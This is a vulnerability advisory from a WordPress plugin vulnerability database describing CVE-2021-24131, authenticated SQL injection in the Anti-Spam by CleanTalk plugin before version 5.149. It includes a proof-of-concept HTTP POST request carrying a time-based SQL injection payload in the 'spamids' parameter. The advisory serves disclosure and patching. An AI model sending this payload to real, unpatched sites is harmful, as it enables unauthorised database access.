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WordPress Plugin Vulnerabilities

Anti-Spam by CleanTalk < 5.149 - Multiple Authenticated SQL Injections

Description

Multiple authenticated SQL injections in the Anti-Spam by CleanTalk plugin 5.148 exist, however, it requires high privilege user (admin+).

Proof of Concept

Vulnerable functions: `removeLogs` and `removeSpam` at: lib/Cleantalk/ApbctWP/FindSpam/ListTable/Users.php

Sleep query:

```
POST /wp-admin/users.php?page=ct_check_users&ct_worked=1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 162

_wpnonce=2a613d258a&_wp_http_referer=%2Fwp-admin%2Fusers.php%3Fpage%3Dct_check_users%26ct_worked%3D1&action=-1&paged=1&spamids%5B%5D=30)+OR+SLEEP(1&action2=delete
``` 

Affects Plugins

cleantalk-spam-protect
Fixed in version 5.149

References

CVE
CVE-2021-24131
URL
https://plugins.trac.wordpress.org/changeset/2421575

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Nguyen Anh Tien

Submitter

Nguyen Anh Tien

Submitter website
https://research.sun-asterisk.com/
Submitter twitter
vigov5
Verified

Yes

WPVDB ID
1bc28021-28c0-43fa-b89e-6b93c345e5d8

Timeline

Publicly Published

2020-11-20 (about 2 years ago)

Added

2020-11-20 (about 2 years ago)

Last Updated

2021-01-23 (about 2 years ago)

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